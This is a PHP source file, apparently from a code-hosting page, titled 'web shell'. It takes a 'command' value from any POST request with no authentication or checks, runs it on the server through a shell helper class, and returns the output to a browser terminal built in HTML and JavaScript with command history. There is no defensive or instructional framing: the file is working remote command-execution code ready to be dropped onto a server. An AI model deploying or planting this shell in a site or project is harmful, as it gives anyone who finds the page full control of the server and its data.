You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

102 lines
3.5 KiB

  1. <?php
  2. /**
  3. * @author 肖其顿 <xiaoqidun@gmail.com>
  4. */
  5. $command = isset($_POST['command']) ? strval($_POST['command']) : "";
  6. if ($command !== "") {
  7. require 'shell.class.php';
  8. echo shell::command($command, "echo pwd", true);
  9. exit;
  10. }
  11. ?>
  12. <html>
  13. <head>
  14. <title>web shell</title>
  15. <style type="text/css">
  16. .author {
  17. width: 100%;
  18. color: white;
  19. text-align: center;
  20. background-color: black;
  21. }
  22. .commandInput {
  23. width: 100%;
  24. height: 3%;
  25. color: white;
  26. background-color: black;
  27. }
  28. .commandResult {
  29. width: 100%;
  30. height: 75%;
  31. color: white;
  32. overflow: scroll;
  33. background-color: black;
  34. }
  35. .commandHistory {
  36. width: 100%;
  37. height: 15%;
  38. color: white;
  39. overflow: scroll;
  40. background-color: black;
  41. }
  42. </style>
  43. <script type="text/javascript">
  44. function enter() {
  45. if (event.keyCode == 13) {
  46. command();
  47. }
  48. }
  49. function command() {
  50. var commandInput = document.getElementById('commandInput');
  51. if (commandInput.value.length > 0) {
  52. var commandResult = document.getElementById('commandResult');
  53. var commandHistory = document.getElementById('commandHistory');
  54. if (commandHistory.innerHTML.length < 1) {
  55. commandHistory.innerHTML = commandInput.value;
  56. } else {
  57. commandHistory.innerHTML = commandHistory.innerHTML + "\n" + commandInput.value;
  58. }
  59. commandHistory.scrollTop = commandHistory.scrollHeight;
  60. if (commandInput.value === 'clear') {
  61. commandInput.value = "";
  62. commandResult.innerHTML = "";
  63. commandHistory.innerHTML = "";
  64. return;
  65. }
  66. command_ajax();
  67. }
  68. }
  69. function command_ajax() {
  70. var xmlHttp = new XMLHttpRequest;
  71. var commandInput = document.getElementById('commandInput');
  72. var commandResult = document.getElementById('commandResult');
  73. xmlHttp.open("POST", "?", true);
  74. xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  75. xmlHttp.send("command=" + encodeURI(commandInput.value));
  76. commandInput.value = "";
  77. xmlHttp.onreadystatechange = function () {
  78. if (xmlHttp.readyState === 4 && xmlHttp.status === 200) {
  79. if (commandResult.innerHTML.length < 1) {
  80. commandResult.innerHTML = xmlHttp.responseText;
  81. } else {
  82. commandResult.innerHTML = commandResult.innerHTML + "\n" + xmlHttp.responseText;
  83. }
  84. commandResult.scrollTop = commandResult.scrollHeight;
  85. }
  86. }
  87. }
  88. </script>
  89. </head>
  90. <body>
  91. <input id="commandInput" class="commandInput" onkeydown="enter()" placeholder="command">
  92. <pre id="commandHistory" class="commandHistory"></pre>
  93. <pre id="commandResult" class="commandResult"></pre>
  94. <div class="author">
  95. CopyRight © 2017-<?= date("Y") + 1 ?> xiaoqidun@gmail.com All Rights Reserved
  96. </div>
  97. </body>
  98. </html>